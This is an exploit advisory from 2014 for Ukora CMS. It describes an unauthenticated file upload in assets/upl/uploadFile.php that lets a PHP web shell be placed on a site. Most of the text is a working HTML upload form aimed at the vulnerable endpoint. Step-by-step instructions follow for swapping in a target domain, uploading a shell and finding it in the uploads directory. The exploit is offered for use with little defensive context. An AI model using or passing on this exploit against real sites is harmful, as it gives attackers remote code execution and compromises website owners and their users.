Ukora CMS suffers from a remote shell upload vulnerability.
4939be5f0624ca40f27c3c657fb7fdd215ccd01bc9e2bf573955798f67f0fd80
##################################################################################################
#Exploit Title : Ukora CMS Shell Upload vulnerability
#Author : Jagriti Sahu AKA incredible
#Vendor : http://ukora.com
#Download Link : https://github.com/baskuis/ukoracms
#version affected : all
#Date : 23/07/2014
#Discovered at : IndiShell Lab
#Love to : Surbhi, Mradula and Harry
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
Ukora CMS is affected from remote file upload vulnerability and
attacker can upload php shell to website easily
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to assets/upl/uploadFile.php file in which there
is no check during file upload
attacker need to forward file upload request to this file with PHP
shell and file Extension
///////////////////////
/// exploit code ////
///////////////////////
<div align=center><br><br> --==[[ <font color=red>Discovered at
IndiShell Lab</font> ]]==--<br>
+===========================================+
<br><br>
<form
action="http://www.website.com/assets/upl/uploadFile.php?folder=/uploads&fileext=php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" >  
<input type="submit" name="submit" value="own the target >:D<">
</form>
Replace website.com with website name which is using Ukora CMS
save this code on you machine as exploit.html
open exploit.html into webbrowser, brows your php shell and click
submit button
if your shell name is shell.php, your shell will be renamed like this
shell-php.php
shell will be uploaded in uploads directory
http://www.website.com/uploads/shell-php.php